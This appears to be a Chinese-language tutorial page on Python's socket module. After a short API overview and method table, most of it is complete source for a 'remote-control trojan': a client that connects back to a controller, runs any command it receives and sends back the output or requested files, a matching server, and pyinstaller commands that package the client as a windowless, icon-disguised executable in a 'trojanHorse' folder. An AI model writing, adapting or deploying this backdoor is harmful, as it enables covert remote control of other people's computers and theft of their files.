socket — 底层网络接口
socket介绍
这个模块提供了访问 BSD套接字 的接口。在所有现代 Unix 系统、Windows、macOS 和其他一些平台上可用。
这个Python接口是用Python的面向对象风格对Unix系统调用和套接字库接口的直译:函数 socket() 返回一个 套接字对象 ,其方法是对各种套接字系统调用的实现。形参类型一般与C接口相比更高级:例如在Python文件 read() 和 write() 操作中,接收操作的缓冲区分配是自动的,发送操作的缓冲区长度是隐式的。
使用方法
创建套接字对象
socket.socket()
对象介绍
1 2 3 4 5 6 7 8 9
| import socket
socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)
|
示例
1 2 3 4 5 6 7 8 9 10
| import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) """ socket.AF_INET: 用于internet进程间通信 socket.AF_UNIX: 用于同一台机器进程间通信 socket.SOCK_STREAM: 流式套接字,主要用于TCP协议 socket.SOCK_DGRAM: 数据包套接字,主要用于UDP协议 """
|
socket对象内置方法
函数 |
描述 |
socket.accept() |
接受一个连接。此 socket 必须绑定到一个地址上并且监听连接。返回值是一个 (conn, address) 对,其中 conn 是一个 新 的套接字对象,用于在此连接上收发数据,address 是连接另一端的套接字所绑定的地址。 |
socket.bind(address) |
将套接字绑定到 address。套接字必须尚未绑定。( address 的格式取决于地址簇 —— 参见上文) |
socket.close() |
将套接字标记为关闭。当 makefile() 创建的所有文件对象都关闭时,底层系统资源(如文件描述符)也将关闭。一旦上述情况发生,将来对套接字对象的所有操作都会失败。对端将接收不到任何数据(清空队列数据后)。 |
socket.connect(address) |
连接到 address 处的远程套接字。( address 的格式取决于地址簇 —— 参见上文) |
socket.listen([backlog]) |
启动一个服务器用于接受连接。如果指定 backlog,则它最低为 0(小于 0 会被置为 0),它指定系统允许暂未 accept 的连接数,超过后将拒绝新连接。未指定则自动设为合理的默认值。 |
socket.recv(bufsize[, flags]) |
从套接字接收数据。返回值是一个字节对象,表示接收到的数据。bufsize 指定一次接收的最大数据量。 |
socket.send(bytes[, flags]) |
发送数据给套接字。本套接字必须已连接到远程套接字。可选参数 flags 的含义与上述 recv() 中的相同。本方法返回已发送的字节数。 |
远程控制木马
客户端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import os.path import shlex import socket import subprocess import re
ACK = 'ACK'
def send_result_len(result): if result: result_len_bytes = str(len(result)).encode('gbk') print(f'结果长度{result_len_bytes}') s.send(result_len_bytes) recv_status = s.recv(1024).decode('gbk') print(recv_status) if recv_status == ACK: print("发送结果") s.send(result) return True return False else: s.send('-1'.encode('gbk')) return False
def get_file_data(path): str_list = path.split(' ') if len(str_list) >= 2: path = str_list[1] else: return False if not os.path.exists(path): return False print(path) with open(path, 'rb') as f: data = f.read() return data
def get_cmd_result(command): stdout_command = subprocess.Popen( shlex.split(command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT ) return stdout_command.stdout.read()
def exec_cmd(cmd): if re.search(r'\bsend', command): result = get_file_data(command) else: result = get_cmd_result(command) send_result_len(result)
def socket_connect(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) return s
s = socket_connect('127.0.0.1', 8888) while True: command = s.recv(1024).decode('gbk') if command == 'c_exit': break exec_cmd(command)
|
服务端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| import socket import re import os
ACK = 'ACK'
def get_p_f(string): str_list = string.split(' ') filename = str_list[-1].split('\\')[-1].split('/')[-1] if len(str_list) == 2: path = '' else: path = string.split(' ')[-1].split(filename)[0] return path, filename
def data_to_picture(path, filename, data): if not data: return False if not os.path.exists(path) and path: os.makedirs(path) with open(path+filename, "wb") as f: print(filename) f.write(data) return True
def get_cmd_result(cmd): conn.send(cmd.encode("gbk")) result_len = conn.recv(1024) result_len = int(result_len) if result_len != -1: conn.send(ACK.encode("gbk")) if re.search(r'\bsend ', cmd): result = conn.recv(result_len) path, filename = get_p_f(cmd) if data_to_picture(path, filename, result): print(f"发送成功!\n路径:{path}{filename}") else: print("发送失败!") else: result = conn.recv(result_len).decode('gbk') print(result) else: print("未知错误!!")
def socket_connect(host, port): """ socket.AF_INET: 用于internet进程间通信 socket.AF_UNIX: 用于同一台机器进程间通信 socket.SOCK_STREAM: 流式套接字,主要用于TCP协议 socket.SOCK_DGRAM: 数据包套接字,主要用于UDP协议 :param host: 主机IP地址 :param port: 主机端口号 :return: socket对象 """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 8888)) return s
if __name__ == '__main__': s = socket_connect('0.0.0.0', 8888) s.listen(5) print("等待主机上线...") conn, addr = s.accept() print(f"主机{addr[0]}:{addr[1]}已上线!") while True: command = input("请输入远程命令:") if command == "exit": break get_cmd_result(command)
|
打包文件
1 2 3 4 5
| pip install pyinstaller
pyinstaller -F -w client.py -i Ae.ico --distpath .\trojanHorse
pyinstaller -F server.py --distpath .\Servers
|